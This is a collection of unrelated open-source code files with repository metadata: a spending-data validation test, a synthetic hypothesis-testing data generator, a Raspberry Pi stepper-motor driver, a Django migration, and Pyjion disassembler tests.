obligations_incurred_by_pr_cpe=af_dict['obligations_incurred_byawa_cpe'] + 1, ussgl487100_downward_adjus_cpe=af_dict['ussgl487100_downward_adjus_cpe'] + 1, ussgl497100_downward_adjus_cpe=af_dict['ussgl497100_downward_adjus_cpe'] + 1, ussgl487200_downward_adjus_cpe=af_dict['ussgl487200_downward_adjus_cpe'] + 1, ussgl497200_downward_adjus_cpe=af_dict['ussgl497200_downward_adjus_cpe'] + 1, deobligations_recov_by_pro_cpe=af_dict['deobligations_recov_by_awa_cpe'] + 1, tas=af_dict['tas'], program_activity_code=af_dict['program_activity_code'], submission_id=af_dict['submission_id'] ) op2 = ObjectClassProgramActivityFactory( ussgl480100_undelivered_or_fyb=af_dict['ussgl480100_undelivered_or_fyb'] + 1, ussgl480100_undelivered_or_cpe=af_dict['ussgl480100_undelivered_or_cpe'] + 1, ussgl483100_undelivered_or_cpe=af_dict['ussgl483100_undelivered_or_cpe'] + 1, ussgl488100_upward_adjustm_cpe=af_dict['ussgl488100_upward_adjustm_cpe'] + 1, obligations_undelivered_or_fyb=af_dict['obligations_undelivered_or_fyb'] + 1, obligations_undelivered_or_cpe=af_dict['obligations_undelivered_or_cpe'] + 1, ussgl490100_delivered_orde_fyb=af_dict['ussgl490100_delivered_orde_fyb'] + 1, ussgl490100_delivered_orde_cpe=af_dict['ussgl490100_delivered_orde_cpe'] + 1, ussgl493100_delivered_orde_cpe=af_dict['ussgl493100_delivered_orde_cpe'] + 1, ussgl498100_upward_adjustm_cpe=af_dict['ussgl498100_upward_adjustm_cpe'] + 1, obligations_delivered_orde_fyb=af_dict['obligations_delivered_orde_fyb'] + 1, obligations_delivered_orde_cpe=af_dict['obligations_delivered_orde_cpe'] + 1, ussgl480200_undelivered_or_fyb=af_dict['ussgl480200_undelivered_or_fyb'] + 1, ussgl480200_undelivered_or_cpe=af_dict['ussgl480200_undelivered_or_cpe'] + 1, ussgl483200_undelivered_or_cpe=af_dict['ussgl483200_undelivered_or_cpe'] + 1, ussgl488200_upward_adjustm_cpe=af_dict['ussgl488200_upward_adjustm_cpe'] + 1, gross_outlays_undelivered_fyb=af_dict['gross_outlays_undelivered_fyb'] + 1, gross_outlays_undelivered_cpe=af_dict['gross_outlays_undelivered_cpe'] + 1, ussgl490200_delivered_orde_cpe=af_dict['ussgl490200_delivered_orde_cpe'] + 1, ussgl490800_authority_outl_fyb=af_dict['ussgl490800_authority_outl_fyb'] + 1, ussgl490800_authority_outl_cpe=af_dict['ussgl490800_authority_outl_cpe'] + 1, ussgl498200_upward_adjustm_cpe=af_dict['ussgl498200_upward_adjustm_cpe'] + 1, gross_outlays_delivered_or_fyb=af_dict['gross_outlays_delivered_or_fyb'] + 1, gross_outlays_delivered_or_cpe=af_dict['gross_outlays_delivered_or_cpe'] + 1, gross_outlay_amount_by_pro_fyb=af_dict['gross_outlay_amount_by_awa_fyb'] + 1, gross_outlay_amount_by_pro_cpe=af_dict['gross_outlay_amount_by_awa_cpe'] + 1, obligations_incurred_by_pr_cpe=af_dict['obligations_incurred_byawa_cpe'] + 1, ussgl487100_downward_adjus_cpe=af_dict['ussgl487100_downward_adjus_cpe'] + 1, ussgl497100_downward_adjus_cpe=af_dict['ussgl497100_downward_adjus_cpe'] + 1, ussgl487200_downward_adjus_cpe=af_dict['ussgl487200_downward_adjus_cpe'] + 1, ussgl497200_downward_adjus_cpe=af_dict['ussgl497200_downward_adjus_cpe'] + 1, deobligations_recov_by_pro_cpe=af_dict['deobligations_recov_by_awa_cpe'] + 1, tas='some-other-tas', program_activity_code=af_dict['program_activity_code'], submission_id=af_dict['submission_id'] ) op3 = ObjectClassProgramActivityFactory( ussgl480100_undelivered_or_fyb=af_dict['ussgl480100_undelivered_or_fyb'] + 1, ussgl480100_undelivered_or_cpe=af_dict['ussgl480100_undelivered_or_cpe'] + 1, ussgl483100_undelivered_or_cpe=af_dict['ussgl483100_undelivered_or_cpe'] + 1, ussgl488100_upward_adjustm_cpe=af_dict['ussgl488100_upward_adjustm_cpe'] + 1, obligations_undelivered_or_fyb=af_dict['obligations_undelivered_or_fyb'] + 1, obligations_undelivered_or_cpe=af_dict['obligations_undelivered_or_cpe'] + 1, ussgl490100_delivered_orde_fyb=af_dict['ussgl490100_delivered_orde_fyb'] + 1, ussgl490100_delivered_orde_cpe=af_dict['ussgl490100_delivered_orde_cpe'] + 1, ussgl493100_delivered_orde_cpe=af_dict['ussgl493100_delivered_orde_cpe'] + 1, ussgl498100_upward_adjustm_cpe=af_dict['ussgl498100_upward_adjustm_cpe'] + 1, obligations_delivered_orde_fyb=af_dict['obligations_delivered_orde_fyb'] + 1, obligations_delivered_orde_cpe=af_dict['obligations_delivered_orde_cpe'] + 1, ussgl480200_undelivered_or_fyb=af_dict['ussgl480200_undelivered_or_fyb'] + 1, ussgl480200_undelivered_or_cpe=af_dict['ussgl480200_undelivered_or_cpe'] + 1, ussgl483200_undelivered_or_cpe=af_dict['ussgl483200_undelivered_or_cpe'] + 1, ussgl488200_upward_adjustm_cpe=af_dict['ussgl488200_upward_adjustm_cpe'] + 1, gross_outlays_undelivered_fyb=af_dict['gross_outlays_undelivered_fyb'] + 1, gross_outlays_undelivered_cpe=af_dict['gross_outlays_undelivered_cpe'] + 1, ussgl490200_delivered_orde_cpe=af_dict['ussgl490200_delivered_orde_cpe'] + 1, ussgl490800_authority_outl_fyb=af_dict['ussgl490800_authority_outl_fyb'] + 1, ussgl490800_authority_outl_cpe=af_dict['ussgl490800_authority_outl_cpe'] + 1, ussgl498200_upward_adjustm_cpe=af_dict['ussgl498200_upward_adjustm_cpe'] + 1, gross_outlays_delivered_or_fyb=af_dict['gross_outlays_delivered_or_fyb'] + 1, gross_outlays_delivered_or_cpe=af_dict['gross_outlays_delivered_or_cpe'] + 1, gross_outlay_amount_by_pro_fyb=af_dict['gross_outlay_amount_by_awa_fyb'] + 1, gross_outlay_amount_by_pro_cpe=af_dict['gross_outlay_amount_by_awa_cpe'] + 1, obligations_incurred_by_pr_cpe=af_dict['obligations_incurred_byawa_cpe'] + 1, ussgl487100_downward_adjus_cpe=af_dict['ussgl487100_downward_adjus_cpe'] + 1, ussgl497100_downward_adjus_cpe=af_dict['ussgl497100_downward_adjus_cpe'] + 1, ussgl487200_downward_adjus_cpe=af_dict['ussgl487200_downward_adjus_cpe'] + 1, ussgl497200_downward_adjus_cpe=af_dict['ussgl497200_downward_adjus_cpe'] + 1, deobligations_recov_by_pro_cpe=af_dict['deobligations_recov_by_awa_cpe'] + 1, tas=af_dict['tas'], program_activity_code='some-other-code', submission_id=af_dict['submission_id'] ) errors = number_of_errors(_FILE, database, models=[af1, op1, op2, op3]) assert errors == 1

72.720721

108

0.769533

3,141

24,216

5.311047

0.036931

0.075531

0.074452

0.023738

0.959957

0.864704

0.802841

0.775267

0.765436

0

0.112091

0.147877

24,216

332

109

72.939759

0.696341

0.013916

0

0.703226

0

0.35104

0.34278

0

0.009677

1

0.009677

false

0

0.012903

0

0.022581

0

null

0

1

0

1

0

null

0

7

54495868ab4b502b7abcd7bb22195b1eadfd324a

15,188

py

Python

data_gen.py

sashapodkopaev/chrome-robust-hypothesis-testing

e3a2655f4d94f3987e3d670c8b66fb99c8d0cb45

[ "Apache-2.0" ]

null

data_gen.py

sashapodkopaev/chrome-robust-hypothesis-testing

e3a2655f4d94f3987e3d670c8b66fb99c8d0cb45

[ "Apache-2.0" ]

null

data_gen.py

sashapodkopaev/chrome-robust-hypothesis-testing

e3a2655f4d94f3987e3d670c8b66fb99c8d0cb45

[ "Apache-2.0" ]

null

import numpy as np import pandas as pd def generate_seq_from_gamma(num_of_obs, gamma_shape=25000, gamma_scale=0.1): """ Function that samples metric 1 for a given user Parameters ---------- num_of_obs: int number of observations for a given user gamma_shape: float shape paramter, or k^star, for the gamma distribution gamma_scale: float scale parameter, or theta^star, for the gamma distribution Returns ---------- cur_observations: array_like sampled metric 1 values for a given user """ # standard deviations for parameters of the gamma shape_std_value = 2*gamma_shape scale_std_value = 2*gamma_scale # sample parameters shape_array = np.random.normal( loc=gamma_shape, scale=shape_std_value, size=num_of_obs) scale_array = np.random.normal( loc=gamma_scale, scale=scale_std_value, size=num_of_obs) # truncate parameters shape_array = np.maximum(shape_array, gamma_shape/3) scale_array = np.maximum(scale_array, gamma_scale/3) # sample metric values cur_observations = np.random.gamma(shape_array, scale_array) return cur_observations def generate_raw_data(number_of_users, gamma_shape=25000, gamma_scale=0.1): """ Function that is used to generate Metric 1; full description can be found in the supporting notebook Parameters ---------- number_of_users: int number of users in given treatment/control group gamma_shape: float shape parameter, or k^star, for the gamma distribution gamma_scale: float scale parameter, or theta^star, for the gamma distribution Returns ---------- raw_data: Dataframe Dataframe with two columns: - Client ID - Metric value """ # sample number of observations per user number_of_observations_per_user = np.random.geometric( p=0.03, size=number_of_users) # sample metric values for each user raw_data = [generate_seq_from_gamma(num_of_obs, gamma_shape, gamma_scale) for num_of_obs in number_of_observations_per_user] ids = [np.repeat(client_id, num_of_obs) for client_id, num_of_obs in enumerate(number_of_observations_per_user)] # stack IDs and observations ids_array = np.hstack(ids) metric_values = np.hstack(raw_data) return pd.DataFrame(np.vstack([ids_array, metric_values]).transpose(), columns=['Client ID', 'Metric Value']) def generate_raw_data_exponential(number_of_users, scale_param=1): """ Function that generates per user data from exponential distribution Parameters ---------- number_of_users: int number of users in given treatment/control group scale_param: float scale parameter, or theta^star, for the gamma distribution Returns ---------- raw_data: Dataframe Dataframe with two columns: - Client ID - Metric value """ # sample number of observations per user number_of_observations_per_user = np.random.geometric( p=0.03, size=number_of_users) # sample metric values for each user raw_data = [np.random.exponential(scale=scale_param, size=num_of_obs) for num_of_obs in number_of_observations_per_user] ids = [np.repeat(client_id, num_of_obs) for client_id, num_of_obs in enumerate(number_of_observations_per_user)] # stack IDs and observations ids_array = np.hstack(ids) metric_values = np.hstack(raw_data) return pd.DataFrame(np.vstack([ids_array, metric_values]).transpose(), columns=['Client ID', 'Metric Value']) def generate_raw_data_lognormal(number_of_users, mean_param=0, sigma_param=1): """ Function that generates per user data from exponential distribution Parameters ---------- number_of_users: int number of users in given treatment/control group mean_param: float mean parameter for the lognormal distribution sigma_param: float std parameter for the lognormal distribution Returns ---------- raw_data: Dataframe Dataframe with two columns: - Client ID - Metric value """ # sample number of observations per user number_of_observations_per_user = np.random.geometric( p=0.03, size=number_of_users) # sample metric values for each user raw_data = [np.random.lognormal(mean=mean_param, sigma=sigma_param, size=num_of_obs) for num_of_obs in number_of_observations_per_user] ids = [np.repeat(client_id, num_of_obs) for client_id, num_of_obs in enumerate(number_of_observations_per_user)] # stack IDs and observations ids_array = np.hstack(ids) metric_values = np.hstack(raw_data) return pd.DataFrame(np.vstack([ids_array, metric_values]).transpose(), columns=['Client ID', 'Metric Value']) def generate_raw_data_mixture_of_lognormal(number_of_users, vec_of_means, vec_of_stds, weights): """ Function that generates per user data from exponential distribution """ # sample number of observations per user number_of_observations_per_user = np.random.geometric( p=0.03, size=number_of_users) cluster_asgn = [np.random.choice([0, 1], size=num_of_obs, p=weights) for num_of_obs in number_of_observations_per_user] # sample metric values for each user raw_data = [np.random.lognormal(mean=vec_of_means[cur_cluster_assignment], sigma=vec_of_stds[cur_cluster_assignment], size=len(cur_cluster_assignment)) for cur_cluster_assignment in cluster_asgn] ids = [np.repeat(client_id, num_of_obs) for client_id, num_of_obs in enumerate(number_of_observations_per_user)] # stack IDs and observations ids_array = np.hstack(ids) metric_values = np.hstack(raw_data) return pd.DataFrame(np.vstack([ids_array, metric_values]).transpose(), columns=['Client ID', 'Metric Value']) def get_binned_data_client_level(raw_data, bins_boundaries): """ Function that bins raw data Parameters ---------- raw_data: Dataframe raw data to be used to create binned data; Dataframe has two columns: - Client ID - Metric value bins_boundaries: array_like array of bins' boundaries (With the right-most boundary for the overflow bins and left-most boundary for underflow bin included) Example: [0,1,2,3,4] would correspond to bins: (0,1], (1,2], (2,3], (3,4] Returns ---------- binned_data: Dataframe binned data at a Client level """ # get number of bins num_of_hist_bins = len(bins_boundaries) - 1 # using list comprehension, create list of lists with first entry being the client ID, # followed by the histogram for the client binned_data = [[[cur_id] + np.histogram(cur_group_of_metric_values['Metric Value'].values, bins=bins_boundaries)[0].tolist()] for cur_id, cur_group_of_metric_values in raw_data.groupby('Client ID')] # convert an array to output Dataframe cols = ['Client ID'] + ['Bin ' + str(i) for i in range(num_of_hist_bins)] binned_data = pd.DataFrame(np.vstack(binned_data), columns=cols) return binned_data def get_binned_data_cookie_bucket_level(raw_data, number_of_buckets, bins_boundaries): """ Function that bins raw data and aggregates histograms at a cookie bucket level Parameters ---------- raw_data: Dataframe raw data to be used to create binned data; Dataframe has two columns: - Client ID - Metric value number_of_buckets: int number of cookie buckets to be used Bucketing is performed based on the remained of the ID when divided by number_of_cookie_buckets bins_boundaries: array_like array of bins' boundaries (With the right-most boundary for the overflow bins and left-most boundary for underflow bin included) Example: [0,1,2,3,4] would correspond to bins: (0,1], (1,2], (2,3], (3,4] Returns ---------- binned_data: Dataframe Dataframe with each row corresponding to the histogram of a given cookie buckets """ # get number of bins num_of_hist_bins = len(bins_boundaries) - 1 # get Clients' buckets buckets = raw_data['Client ID'] % number_of_buckets binned_data = [np.histogram(cur_group_of_metric_values['Metric Value'].values, bins=bins_boundaries)[0] for _, cur_group_of_metric_values in raw_data.groupby(buckets)] # convert an array to output Dataframe cols = ['Bin ' + str(i) for i in range(num_of_hist_bins)] binned_data = pd.DataFrame(np.vstack(binned_data), columns=cols) return binned_data def generate_data_mixture_exp_bucket_level(number_of_users, scale_params, weights, num_of_cookie_buckets, bins_boundaries): """ Function that generates data from mixture of exponential distribution, but at a cookie bucket level i.e. data pts in a given cookie bucket is generated from the same distribution, but shift might occur in some (small number of buckets) -- might be generalized to more components than two """ # sample number of observations per user treatment_number_of_observations_per_user = np.random.geometric( p=0.03, size=number_of_users[0]) control_number_of_observations_per_user = np.random.geometric( p=0.03, size=number_of_users[1]) # get IDs to compute number of observations in each cookie bucket treat_user_ids = np.arange(number_of_users[0]) control_user_ids = np.arange(number_of_users[1]) # match clients with cookie buckets treat_bucket_assignment = treat_user_ids % num_of_cookie_buckets control_bucket_assignment = control_user_ids % num_of_cookie_buckets # compute number of observations per cookie bucket pos_cookie_bucket_indices = np.arange(num_of_cookie_buckets) num_of_obs_cookie_bucket_treat = [treatment_number_of_observations_per_user[treat_bucket_assignment == cur_cookie_bucket].sum() for cur_cookie_bucket in pos_cookie_bucket_indices] num_of_obs_cookie_bucket_control = [control_number_of_observations_per_user[control_bucket_assignment == cur_cookie_bucket].sum() for cur_cookie_bucket in pos_cookie_bucket_indices] # define which component to sample from for each cookie bucket comp_assgn = np.random.choice( np.arange(len(scale_params)), size=num_of_cookie_buckets, p=weights) # sample data raw_obs_treat = [np.random.exponential(scale=scale_params[comp_assgn[cur_cookie_bucket]], size=num_of_obs_cookie_bucket_treat[cur_cookie_bucket]) for cur_cookie_bucket in pos_cookie_bucket_indices] raw_obs_control = [np.random.exponential(scale=scale_params[comp_assgn[cur_cookie_bucket]], size=num_of_obs_cookie_bucket_control[cur_cookie_bucket]) for cur_cookie_bucket in pos_cookie_bucket_indices] # get binned data binned_data_treat = [np.histogram(cur_bucket, bins=bins_boundaries)[0] for cur_bucket in raw_obs_treat] binned_data_control = [np.histogram(cur_bucket, bins=bins_boundaries)[0] for cur_bucket in raw_obs_control] return np.stack(binned_data_treat), np.stack(binned_data_control) def generate_data_single_corrupted_exp_bucket_level(number_of_users, scale_params, num_of_cookie_buckets, bins_boundaries): """ Function that generates data from mixture of exponential distribution, but at a cookie bucket level i.e. data pts in a given cookie bucket is generated from the same distribution, but shift might occur in one cookie bucket irrespectively to the total number of cookie buckets -- might be generalized to more components than two """ # sample number of observations per user treatment_number_of_observations_per_user = np.random.geometric( p=0.03, size=number_of_users[0]) control_number_of_observations_per_user = np.random.geometric( p=0.03, size=number_of_users[1]) # get IDs to compute number of observations in each cookie bucket treat_user_ids = np.arange(number_of_users[0]) control_user_ids = np.arange(number_of_users[1]) # match clients with cookie buckets treat_bucket_assignment = treat_user_ids % num_of_cookie_buckets control_bucket_assignment = control_user_ids % num_of_cookie_buckets # compute number of observations per cookie bucket pos_cookie_bucket_indices = np.arange(num_of_cookie_buckets) num_of_obs_cookie_bucket_treat = [treatment_number_of_observations_per_user[treat_bucket_assignment == cur_cookie_bucket].sum() for cur_cookie_bucket in pos_cookie_bucket_indices] num_of_obs_cookie_bucket_control = [control_number_of_observations_per_user[control_bucket_assignment == cur_cookie_bucket].sum() for cur_cookie_bucket in pos_cookie_bucket_indices] # define which component to sample from for each cookie bucket comp_assgn = np.zeros(num_of_cookie_buckets, dtype='int') comp_assgn[0] = 1 np.random.shuffle(comp_assgn) # sample data raw_obs_treat = [np.random.exponential(scale=scale_params[comp_assgn[cur_cookie_bucket]], size=num_of_obs_cookie_bucket_treat[cur_cookie_bucket]) for cur_cookie_bucket in pos_cookie_bucket_indices] raw_obs_control = [np.random.exponential(scale=scale_params[comp_assgn[cur_cookie_bucket]], size=num_of_obs_cookie_bucket_control[cur_cookie_bucket]) for cur_cookie_bucket in pos_cookie_bucket_indices] # get binned data binned_data_treat = [np.histogram(cur_bucket, bins=bins_boundaries)[0] for cur_bucket in raw_obs_treat] binned_data_control = [np.histogram(cur_bucket, bins=bins_boundaries)[0] for cur_bucket in raw_obs_control] return np.stack(binned_data_treat), np.stack(binned_data_control)

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545d98048e2dcc8a1e57a265df752d04bbad1fd4

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py

Python

src/motor1.py

Aeturnum7/Automate-AI-Chess

6b691173ea716424017126c89bd0d0aa975e7d05

[ "MIT" ]

4

2019-06-26T10:09:50.000Z

2020-11-21T07:55:59.000Z

src/motor1.py

Aeturnum7/Automate-AI-Chess

6b691173ea716424017126c89bd0d0aa975e7d05

[ "MIT" ]

2

2019-06-27T22:52:43.000Z

2019-10-02T17:48:45.000Z

src/motor1.py

Aeturnum7/Automate-AI-Chess

6b691173ea716424017126c89bd0d0aa975e7d05

[ "MIT" ]

3

2019-06-30T18:40:22.000Z

2019-10-16T09:42:56.000Z

import RPi.GPIO as GPIO import time in3 = 36 in2 = 32 in1 = 22 in4 = 38 out1 = in2 out2 = in3 out3 = in1 out4 = in4 i = 0 positive = 0 negative = 0 y = 0 slp = 0.001 enb=40 ena=18 GPIO.setmode(GPIO.BOARD) GPIO.setup(enb, GPIO.OUT) GPIO.output(enb, GPIO.HIGH) GPIO.setup(ena, GPIO.OUT) GPIO.output(ena, GPIO.HIGH) GPIO.setup(out1, GPIO.OUT) GPIO.setup(out2, GPIO.OUT) GPIO.setup(out3, GPIO.OUT) GPIO.setup(out4, GPIO.OUT) nstep=20 def rotate(dir): i = 0 positive = 0 negative = 0 y = 0 slp = 0.001 x = 400 * dir if x > 0 and x <= 400: for y in range(x, 0, -1): if negative == 1: if i == 7: i = 0 else: i = i + 1 y = y + 2 negative = 0 positive = 1 # print((x+1)-y) if i == 0: GPIO.output(out1, GPIO.HIGH) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 1: # time.sleep(1) GPIO.output(out1, GPIO.HIGH) GPIO.output(out2, GPIO.HIGH) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 2: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.HIGH) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 3: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.HIGH) GPIO.output(out3, GPIO.HIGH) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 4: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.HIGH) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 5: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.HIGH) GPIO.output(out4, GPIO.HIGH) time.sleep(slp) elif i == 6: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.HIGH) time.sleep(slp) elif i == 7: # time.sleep(1) GPIO.output(out1, GPIO.HIGH) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.HIGH) time.sleep(slp) # time.sleep(1) if i == 7: i = 0 continue i = i + 1 elif x < 0 and x >= -400: x = x * -1 for y in range(x, 0, -1): if positive == 1: if i == 0: i = 7 else: i = i - 1 y = y + 3 positive = 0 negative = 1 # print((x+1)-y) if i == 0: GPIO.output(out1, GPIO.HIGH) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 1: # time.sleep(1) GPIO.output(out1, GPIO.HIGH) GPIO.output(out2, GPIO.HIGH) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 2: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.HIGH) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 3: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.HIGH) GPIO.output(out3, GPIO.HIGH) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 4: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.HIGH) GPIO.output(out4, GPIO.LOW) time.sleep(slp) elif i == 5: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.HIGH) GPIO.output(out4, GPIO.HIGH) time.sleep(slp) elif i == 6: # time.sleep(1) GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.HIGH) time.sleep(slp) elif i == 7: # time.sleep(1) GPIO.output(out1, GPIO.HIGH) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.HIGH) time.sleep(slp) # time.sleep(1) if i == 0: i = 7 continue i = i - 1 def rotatemotor(x): GPIO.output(out1, GPIO.LOW) GPIO.output(out2, GPIO.LOW) GPIO.output(out3, GPIO.LOW) GPIO.output(out4, GPIO.LOW) dir = 1 if x < 0: dir = -1 x = x * -1 for i in range(x): rotate(dir) # try: # while 1: # # GPIO.output(out1, GPIO.LOW) # # GPIO.output(out2, GPIO.LOW) # # GPIO.output(out3, GPIO.LOW) # # GPIO.output(out4, GPIO.LOW) # x = input() # rotatemotor(x) # except KeyboardInterrupt: # GPIO.cleanup() def initializemotor1(): GPIO.setmode(GPIO.BOARD) GPIO.setup(enb, GPIO.OUT) GPIO.output(enb, GPIO.HIGH) GPIO.setup(ena, GPIO.OUT) GPIO.output(ena, GPIO.HIGH) GPIO.setup(out1, GPIO.OUT) GPIO.setup(out2, GPIO.OUT) GPIO.setup(out3, GPIO.OUT) GPIO.setup(out4, GPIO.OUT)

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py

Python

voxel_globe/meta/migrations/0018_auto_20161111_1628.py

ngageoint/voxel-globe

91f386de652b704942165889c10468b2c4cf4eec

[ "MIT" ]

28

2015-07-27T23:57:24.000Z

2020-04-05T15:10:52.000Z

voxel_globe/meta/migrations/0018_auto_20161111_1628.py

VisionSystemsInc/voxel_globe

6eb3fca5586726428e9d914f7b730ca164c64a52

[ "MIT" ]

50

2016-02-11T15:50:22.000Z

2016-10-27T22:38:27.000Z

voxel_globe/meta/migrations/0018_auto_20161111_1628.py

ngageoint/voxel-globe

91f386de652b704942165889c10468b2c4cf4eec

[ "MIT" ]

8

2015-07-27T19:22:03.000Z

2021-01-04T09:44:48.000Z

# -*- coding: utf-8 -*- # Generated by Django 1.10.2 on 2016-11-11 16:28 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('meta', '0017_adding_image_products'), ] operations = [ migrations.AlterField( model_name='camera', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='cameraset', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='controlpoint', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='coordinatesystem', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='coordinatetransform', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='image', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='imageset', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='pointcloud', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='satteleventresult', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='satteleventtrigger', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='sattelgeometryobject', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='sattelsite', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='scene', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='tiepoint', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='tiepointset', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), migrations.AlterField( model_name='voxelworld', name='_attributes', field=models.TextField(blank=True, default=b'{}'), ), ]

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py

Python

Tests/test_dis.py

tonybaloney/Pyjion

eb54f950ae9dae01c4738c1e8926681681c24b75

[ "MIT" ]

1,137

2020-10-14T10:24:18.000Z

2022-03-31T09:37:03.000Z

Tests/test_dis.py

tonybaloney/Pyjion

eb54f950ae9dae01c4738c1e8926681681c24b75

[ "MIT" ]

310

2016-05-21T05:30:23.000Z

2022-03-21T00:59:57.000Z

Tests/test_dis.py

tonybaloney/Pyjion

eb54f950ae9dae01c4738c1e8926681681c24b75

[ "MIT" ]

55

2016-05-20T06:11:28.000Z

2022-03-15T12:48:00.000Z

from pyjion.dis import print_il, dis, dis_native import pyjion import sys import pytest import platform def test_offsets(): def _f(x): return x / 2 assert _f(4) == 2.0 offsets = pyjion.offsets(_f) assert len(offsets) > 7 def test_dis(capsys): def test_f(): numbers = (1, 2, 3, 4) return sum(numbers) assert test_f() == 10 dis(test_f) captured = capsys.readouterr() assert "ldarg.1" in captured.out def test_dis_with_offsets(capsys): def test_f(): numbers = (1, 2, 3, 4) return sum(numbers) assert test_f() == 10 dis(test_f, True) captured = capsys.readouterr() assert "ldarg.1" in captured.out assert "// 0 LOAD_CONST - 1 ((1, 2, 3, 4))" in captured.out def test_dis_with_no_pc(capsys): def test_f(): numbers = (1, 2, 3, 4) return sum(numbers) assert test_f() == 10 dis(test_f, False, False) captured = capsys.readouterr() assert "ldarg.1" in captured.out def test_fat_static(capsys): test_method = bytearray( b'\x03 h\x00\x00\x00\xd3X\n\x03(A\x00\x00\x00\x16\r!0\x19Rc\xd1\x7f\x00\x00\xd3% \x00\x00\x00\x00\xd3X%J\x17XT\x06\x18T\x13\n\x03 h\x01\x00\x00\xd3XM\x03 h\x01\x00\x00\xd3X\x11\n\xdf(\x10\x00\x00\x00!P\x19Rc\xd1\x7f\x00\x00\xd3% \x00\x00\x00\x00\xd3X%J\x17XT\x06\x1cT\x13\n\x03 p\x01\x00\x00\xd3XM\x03 p\x01\x00\x00\xd3X\x11\n\xdf(\x10\x00\x00\x00!p\x19Rc\xd1\x7f\x00\x00\xd3% \x00\x00\x00\x00\xd3X%J\x17XT\x06\x1f\nT\x13\n\x03 x\x01\x00\x00\xd3XM\x03 x\x01\x00\x00\xd3X\x11\n\xdf(\x10\x00\x00\x00!\x90\x19Rc\xd1\x7f\x00\x00\xd3% \x00\x00\x00\x00\xd3X%J\x17XT\x06\x1f\x0eT\x13\n\x03 \x80\x01\x00\x00\xd3XM\x03 \x80\x01\x00\x00\xd3X\x11\n\xdf(\x10\x00\x00\x00\x06\x1f\x10T\x03 h\x01\x00\x00\xd3XM%\x0c\x16\xd3@\x1a\x00\x00\x00!0 nc\xd1\x7f\x00\x00\xd3(:\x00\x00\x00\x03(8\x00\x00\x008G\x01\x00\x00\x08% \x00\x00\x00\x00\xd3X%J\x17XT\x06\x1f\x12T\x03 p\x01\x00\x00\xd3XM%\x0c\x16\xd3@\x1c\x00\x00\x00!\xf0\xbeac\xd1\x7f\x00\x00\xd3(:\x00\x00\x00\x03(8\x00\x00\x00\x13\x0b8\x07\x01\x00\x00\x08% \x00\x00\x00\x00\xd3X%J\x17XT\x06\x1f\x14T(\x00\x00\x00\x00%\x0c\x16\xd3@\x0b\x00\x00\x00\x03(8\x00\x00\x008\xdc\x00\x00\x00\x08\x06\x1f\x16T\x03 x\x01\x00\x00\xd3XM%\x0c\x16\xd3@\x1c\x00\x00\x00!\xb0\x8c]c\xd1\x7f\x00\x00\xd3(:\x00\x00\x00\x03(8\x00\x00\x00\x13\x0b8\xa9\x00\x00\x00\x08% \x00\x00\x00\x00\xd3X%J\x17XT\x06\x1f\x18T(\x00\x00\x00\x00%\x0c\x16\xd3@\x0b\x00\x00\x00\x03(8\x00\x00\x008~\x00\x00\x00\x08\x06\x1f\x1aT\x03 